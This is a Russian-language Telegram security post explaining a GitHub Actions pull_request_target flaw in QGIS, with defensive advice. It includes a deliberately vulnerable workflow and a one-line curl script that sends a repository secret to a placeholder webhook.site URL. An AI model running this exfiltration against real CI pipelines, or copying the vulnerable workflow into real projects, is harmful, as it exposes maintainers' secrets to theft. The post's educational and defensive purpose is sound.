TGViewer
Консерва Консерва @dl_konserva · 240 subscribers
Post #49 355
Недавно в репозитории популярной GIS-системы QGIS нашли архитектурную уязвимость в пайплайнах GitHub Actions (CVE-2026-24480), позволившую получить доступ к секретам проекта.

🔍 В чем заключается уязвимость?

Разработчики использовали триггер ⁠pull_request_target в воркфлоу для автоматических проверок кода (⁠pre-commit checks).
Главное отличие этого триггера от обычного ⁠pull_request в том, что он запускается в контексте базового репозитория, то есть репозитория, в который вливают изменения.
Это значит, что пайплайн имеет доступ к ⁠GITHUB_TOKEN с правами на запись, а также к секретам, сконфигурированным в репозитории.
При этом внутри пайплайна происходил checkout кода из форка (который полностью контролирует атакующий) и его последующий запуск.


🧨 Для эксплуатации необходимо сочетание двух условий:

1. Использование триггера ⁠pull_request_target
2. Checkout и выполнение кода из внешнего PR

✨ Как можно воспроизвести уязвимость?

Посмотрим, как уязвимость работает на практике. Для демонстрации потребуется только два аккаунта на GitHub

1. В аккаунте "жертвы" создаём публичный репозиторий с секретом (⁠PROD_API_KEY) и уязвимым воркфлоу:
name: Pre-commit checks
on:
pull_request_target: # Опасный триггер

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Чекаут кода атакующего
- name: Run tests
env:
PROD_API_KEY: ${{ secrets.PROD_API_KEY }} # Секрет в окружении
run: bash run_tests.sh


С аккаунта "атакующего" делаем форк, подменяем ⁠run_tests.sh на свой, который отправляет PROD_API_KEY на webhook и делаем Pull Request

#!/bin/bash
curl -X POST -d "stolen_key=$PROD_API_KEY" https://webhook.site/YOUR_URL


🔥 Результат - воркфлоу запускается автоматически, выполняет наш код с секретами "жертвы".
GitHub маскирует токен звёздочками ⁠в логах, но на webhook отправляет в открытом виде.

🤺 Как защититься?

- Внутри ⁠pull_request_target никогда не делайте checkout и не выполняйте код из чужого PR
- Если этот триггер всё же нужен - используйте его только для работы с метаданными (например, навешивание лейблов на PR)
- Для задач, где необходимо собирать или тестировать код из PR, используйте обычный триггер ⁠pull_request - он запускается с read-only правами и без доступа к секретам

📌 Кстати, в феврале 2026 года бот hackerbot-claw массово сканировал популярные опенсорс-проекты на наличие именно этого паттерна.

Среди пострадавших - репозиторий awesome-go и ещё несколько крупных репозиториев, из которых были украдены токены 🦀
  • 👍 5
  • 🔥 2
  • 😱 2
More from @dl_konserva
  1. Aug 18, 2026😎 Кейс нашего коллеги вошел в топ-10 Pentest Award! В этом году мы подали несколько работ…
  2. Aug 12, 2026🙂 Всем привет! На прошлой неделе провели наш воркшоп по практической информационной безоп…
  3. Jul 31, 2026Всем привет! 🙂 Вы просили - мы сделали! Теперь билет на #PAYMENTSECURITY можно проапгрейд…
  4. Jul 28, 2026📣 Всем привет! Продолжаем рассказывать о том, что вас ждет на Practical Security Village…
  5. Jul 22, 2026📣 Всем привет! До Practical Security Village осталось всего 2 недели! Пока мы вовсю готов…
  6. Jun 5, 2026📣 Всем привет! Ровно 2 месяца осталось до Practical Security Village 2026! Мы стараемся м…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →